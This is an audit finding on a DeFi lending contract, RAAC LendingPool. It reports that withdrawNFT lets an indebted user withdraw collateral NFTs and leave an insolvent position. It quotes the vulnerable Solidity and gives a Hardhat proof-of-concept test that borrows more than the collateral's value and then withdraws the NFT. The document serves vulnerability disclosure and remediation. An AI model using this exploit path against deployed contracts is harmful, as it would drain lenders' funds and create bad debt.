Summary
The LendingPool contract contains a vulnerability in its withdrawNFT function that allow users with RAACNft to manipulate collateral calculations and create insolvent positions. This issue arises from improper collateral checks, potentially leading to bad debt for the protocol.
Vulnerability Details
When a user deposits an NFT to the lending pool contract, it acts as collateral to borrow against. Users can also withdraw their deposited nft via LendingPool::withdrawNFT. See function below:
* @notice Allows a user to withdraw an NFT
* @param tokenId The token ID of the NFT to withdraw
*/
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
ReserveLibrary.updateReserveState(reserve, rateData);
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}
The exploit occurs where an attacker can deposit multiple nfts, use these as collateral to borrow assets and then be able to withdraw nfts from RAAC leaving them with more debt than their collateral which creates insolvent positions and bad debt for RAAC.
Proof Of Code (POC)
The following test was run in LendingPool.test.js in the "borrow and repay" describe block.
it("user can withdraw their nft when in debt", async function () {
await raacHousePrices.setHousePrice(2, ethers.parseEther("100"));
const amountToPay = ethers.parseEther("100");
const tokenId = 2;
await token.mint(user1.address, amountToPay);
await token.connect(user1).approve(raacNFT.target, amountToPay);
await raacNFT.connect(user1).mint(tokenId, amountToPay);
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
const borrowAmount = ethers.parseEther("110");
console.log("borrowAmount", borrowAmount);
await lendingPool.connect(user1).borrow(borrowAmount);
await lendingPool.connect(user1).withdrawNFT(tokenId);
const userCollateral = await lendingPool.getUserCollateralValue(
user1.address
);
console.log("userCollateral", userCollateral);
const user1debt = await debtToken.balanceOf(user1.address);
console.log("user1debt", user1debt);
assert(user1debt > userCollateral);
});
Impact
Users can withdraw NFTs even when their debt exceeds their collateral, leading to insolvency.
Users can borrow more than their collateral, creating systemic risk.
The protocol could accumulate bad debt due to users defaulting on excessive loans.
Attackers could exploit this issue to drain liquidity from the protocol, harming lenders and destabilizing the system.
Tools Used
Manual Review, Hardhat
Recommendations
Use a More Accurate Collateralization Check: Modify the borrowing condition to ensure that a user’s collateral value must always exceed their debt based on a stricter collateralization ratio.
Example fix:
if (collateralValue * COLLATERAL_RATIO < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
Introduce Safe Borrow Limits: Implement a maximum Loan-To-Value (LTV) ratio to prevent excessive borrowing.
Prevent Sequential NFT Withdrawals: Implement an aggregate collateral check that considers the total NFTs being withdrawn. Enforce a cooldown period between withdrawals to prevent rapid depletion of collateral.